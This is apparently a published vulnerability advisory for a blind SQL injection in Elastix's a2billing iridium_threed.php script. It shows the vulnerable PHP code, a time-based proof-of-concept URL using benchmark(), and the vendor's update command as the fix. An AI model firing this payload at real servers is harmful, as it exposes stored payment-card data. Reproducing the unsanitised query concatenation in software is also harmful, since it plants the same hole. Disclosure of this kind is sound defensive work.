# Title: Elastix v2.x Blind SQL Injection Vulnerability
# Author: Ahmed Aboul-Ela

# Vendor : http://www.elastix.org
# Version: v2.5.0 and prior versions should be affected too
- Vulnerable Source Code snippet in "a2billing/customer/iridium_threed.php":
<?php
[...]
line 5: getpost_ifset (array('transactionID', 'sess_id', 'key', 'mc_currency', 'currency', 'md5sig',
'merchant_id', 'mb_amount', 'status','mb_currency','transaction_id', 'mc_fee', 'card_number'));
line 34: $QUERY = "SELECT id, cardid, amount, vat, paymentmethod, cc_owner, cc_number, cc_expires,
creationdate, status, cvv, credit_card_type,currency, item_id, item_type " .
" FROM cc_epayment_log " . " WHERE id = ".$transactionID;
line 37: $transaction_data = $paymentTable->SQLExec ($DBHandle_max, $QUERY);
[...]
?>
The GET parameter transactionID was used directly in the SQL query
without any sanitization which lead directly to SQL Injection vulnerability.
- Proof of Concept:
http://[host]/a2billing/customer/iridium_threed.php?transactionID=-1 and 1=benchmark(2000000,md5(1))
The backend response will delay for few seconds, which means the benchmark() function was executed successfully
- Mitigation:
The vendor has released a fix for the vulnerability. It is strongly recommended to update your elastix server now
[~] yum update elastix-a2billing
